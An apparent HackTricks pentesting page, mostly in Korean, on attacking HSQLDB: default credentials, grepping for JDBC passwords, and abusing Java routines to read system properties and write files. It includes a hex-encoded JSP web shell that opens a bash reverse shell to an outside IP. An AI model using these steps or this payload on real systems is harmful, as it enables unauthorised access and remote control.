5.6 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
기본 정보
**HSQLDB (HyperSQL DataBase)**는 Java로 작성된 주요 SQL 관계형 데이터베이스 시스템입니다. 메모리 내 및 디스크 기반 테이블을 지원하며, 내장 및 서버 모드를 지원하는 작고 빠른 다중 스레드 및 트랜잭션 데이터베이스 엔진을 제공합니다.
기본 포트: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
정보
기본 설정
기본적으로 이 서비스는 메모리에서 실행되거나 localhost에 바인딩되어 있을 가능성이 높습니다. 이를 발견했다면, 아마 다른 서비스를 이용해 취약점을 이용하고 권한 상승을 시도하고 있는 것입니다.
기본 자격 증명은 일반적으로 비밀번호가 없는 sa
입니다.
다른 서비스를 이용해 취약점을 이용했다면, 가능한 자격 증명을 검색하십시오.
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Note the database name carefully - you’ll need it to connect.
Info Gathering
DB 인스턴스에 연결하려면 HSQLDB 다운로드 후 hsqldb/lib/hsqldb.jar
를 추출하세요. java -jar hsqldb.jar
를 사용하여 GUI 앱 (eww)을 실행하고 발견된/약한 자격 증명을 사용하여 인스턴스에 연결하세요.
원격 시스템의 경우 연결 URL은 다음과 비슷하게 보일 것입니다: jdbc:hsqldb:hsql://ip/DBNAME
.
Tricks
Java Language Routines
HSQLDB에서 Java Language Routines를 사용하여 Java 클래스의 정적 메서드를 호출할 수 있습니다. 호출된 클래스는 애플리케이션의 클래스 경로에 있어야 합니다.
JRT는 functions
또는 procedures
일 수 있습니다. 함수는 Java 메서드가 하나 이상의 SQL 호환 기본 변수를 반환하는 경우 SQL 문을 통해 호출할 수 있습니다. VALUES
문을 사용하여 호출됩니다.
우리가 호출하려는 Java 메서드가 void를 반환하는 경우, CALL
문으로 호출되는 프로시저를 사용해야 합니다.
Reading Java System Properties
함수 생성:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
함수 실행:
VALUES(getsystemproperty('user.name'))
You can find a list of system properties here.
파일에 내용 쓰기
JDK에 위치한 com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Java 가젯을 사용하여 사용자 정의 프로시저를 통해 16진수 인코딩된 항목을 디스크에 쓸 수 있습니다. 최대 크기는 1024 바이트입니다.
프로시저 생성:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
프로시저 실행:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.